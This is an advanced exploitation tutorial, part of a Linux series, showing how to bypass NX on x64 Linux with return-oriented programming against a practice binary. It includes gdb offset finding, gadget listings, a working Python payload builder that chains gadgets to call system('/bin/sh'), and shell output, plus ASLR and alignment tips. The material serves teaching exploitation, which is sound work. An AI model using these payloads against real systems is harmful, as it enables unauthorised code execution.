Tutorial

Bypassing NX with ROP on x64 Linux

Use Return-Oriented Programming to bypass NX protection on 64-bit Linux, chaining gadgets to call system() with /bin/sh.

2 min read advanced

Prerequisites

  • Understanding of x64 calling conventions
  • Familiarity with ROP concepts
  • Previous buffer overflow experience
  • Knowledge of PLT/GOT

Part 9 of 12 in Linux Exploitation Fundamentals

Table of Contents

When NX (No-Execute) is enabled, we cannot execute shellcode on the stack. Return-Oriented Programming (ROP) bypasses this by chaining existing code snippets called “gadgets” to perform arbitrary operations.

The Exploit Chain Visualizer maps the five stages from vulnerability discovery through code execution, and shows where NX, stack canaries, and ASLR intervene — useful context for understanding why ROP is necessary.

Understanding the Constraints

With NX enabled, the stack is not executable. We need to:

  1. Find useful gadgets in the binary
  2. Chain them to set up a call to system("/bin/sh")
  3. Use the x64 calling convention (first argument in RDI)

Initial Analysis

Finding the Offset

gdb -q ./bypass_nx
gdb-peda$ pattern create 1000 p1000.txt
gdb-peda$ run < p1000.txt

Locate RSP’s contents after the crash:

gdb-peda$ pattern offset A7AAMAAiAA8A
A7AAMAAiAA8A found at offset: 104

Alternatively, from RBP:

gdb-peda$ pattern offset 0x416841414c414136
found at offset: 96

RIP offset = 96 + 8 = 104 bytes

Finding ROP Gadgets

Use ROPgadget to find useful instructions:

ROPgadget --binary ./bypass_nx --only "pop|ret"
Gadgets information
============================================================
0x0000000000400693 : pop rdi ; ret
0x0000000000400691 : pop rsi ; pop r15 ; ret
0x0000000000400520 : pop rbp ; ret
0x0000000000400451 : ret

The key gadget is pop rdi; ret at 0x400693. This lets us load a value into RDI (the first argument register).

Finding Required Addresses

Locating /bin/sh

gdb-peda$ find /bin/sh
Searching for '/bin/sh' in: None ranges
Found 3 results, display max 3 items:
bypass_nx : 0x4006e8 --> 0x68732f6e69622f ('/bin/sh')
bypass_nx : 0x6006e8 --> 0x68732f6e69622f ('/bin/sh')
     libc : 0x7ffff7b99d57 --> 0x68732f6e69622f ('/bin/sh')

Use the binary’s copy: 0x4006e8 (doesn’t change with ASLR)

Finding system()

gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x7ffff7a52390 <__libc_system>

Note: This address is from libc and will be randomized with ASLR. For this example, we assume ASLR is disabled or we’re using a fixed environment.

Building the ROP Chain

The Chain Logic

1. pop rdi; ret     - Pops next value into RDI
2. "/bin/sh" addr   - Address of the string, goes into RDI
3. system()         - Calls system() with RDI as argument

Exploit Code

#!/usr/bin/env python3
from struct import pack

buf = b""
buf += b"A"*104                             # Junk to reach RIP

# Gadget: pop rdi; ret
buf += pack("<Q", 0x0000000000400693)

# Argument: pointer to "/bin/sh"
buf += pack("<Q", 0x00000000004006e8)

# Call system()
buf += pack("<Q", 0x00007ffff7a52390)

f = open("payload.txt", "wb")
f.write(buf)

Execution

(cat payload.txt; cat) | ./bypass_nx
Try invoking /bin/sh
Read 128 bytes. buf is AAAAAAAAAAAA...
Try smarter
id
uid=1000(xdev) gid=1000(xdev) groups=1000(xdev)

ROP Chain Visualization

Stack Layout After Overflow:

Lower addresses
    |                    |
    | "A" * 104          |  <- Junk buffer
    |--------------------|
    | 0x400693           |  <- pop rdi; ret (overwrites saved RIP)
    |--------------------|
    | 0x4006e8           |  <- "/bin/sh" pointer (popped into RDI)
    |--------------------|
    | 0x7ffff7a52390     |  <- system() (ret jumps here)
    |                    |
Higher addresses

Execution flow:
1. Function returns, pops 0x400693 into RIP
2. `pop rdi` loads 0x4006e8 into RDI
3. `ret` pops 0x7ffff7a52390 into RIP
4. system() executes with RDI = "/bin/sh"

Handling ASLR

If ASLR is enabled, libc addresses are randomized. Solutions:

Option 1: Leak libc Address

Use a technique similar to ret2libc on x86:

  1. Call puts@plt(puts@got) to leak the address
  2. Calculate libc base
  3. Return to main and exploit again

Option 2: Use Binary’s Own Functions

If the binary has system@plt, use it instead:

gdb-peda$ x/3i system@plt
0x400450 <system@plt>: jmp    QWORD PTR [rip+0x200bc2]

PLT addresses are fixed (no PIE).

Stack Alignment

x64 System V ABI requires 16-byte stack alignment before call instructions. If system() crashes:

Add a single ret gadget before system() to align the stack:

buf += pack("<Q", 0x0000000000400451)  # ret (stack alignment)
buf += pack("<Q", 0x00007ffff7a52390)  # system()

Advanced: Multi-Gadget Chains

For more complex operations, chain multiple gadgets:

# Example: Write value to memory
# Gadgets needed:
#   pop rdi; ret
#   pop rsi; pop r15; ret
#   mov [rdi], rsi; ret  (if available)

buf = "A"*104
buf += pack("<Q", pop_rdi)
buf += pack("<Q", target_address)
buf += pack("<Q", pop_rsi_r15)
buf += pack("<Q", value_to_write)
buf += pack("<Q", 0)  # Junk for r15
buf += pack("<Q", mov_gadget)

Tools for ROP

ROPgadget

# All gadgets
ROPgadget --binary ./target

# Specific gadgets
ROPgadget --binary ./target --only "pop|ret"
ROPgadget --binary ./target --only "mov|ret"

# Search for strings
ROPgadget --binary ./target --string "/bin/sh"

Ropper

ropper --file ./target --search "pop rdi"

pwntools

from pwn import *

elf = ELF('./target')
rop = ROP(elf)

# Find gadgets automatically
rop.call('system', [next(elf.search(b'/bin/sh'))])
print(rop.dump())

Key Takeaways

  1. Gadgets end in ret - This allows chaining to the next gadget
  2. Arguments via registers - x64 uses RDI, RSI, RDX for first three arguments
  3. Stack alignment matters - Add padding ret gadgets if needed
  4. PIE complicates things - Without PIE, binary addresses are fixed
  5. ASLR affects libc - Leak addresses or use PLT entries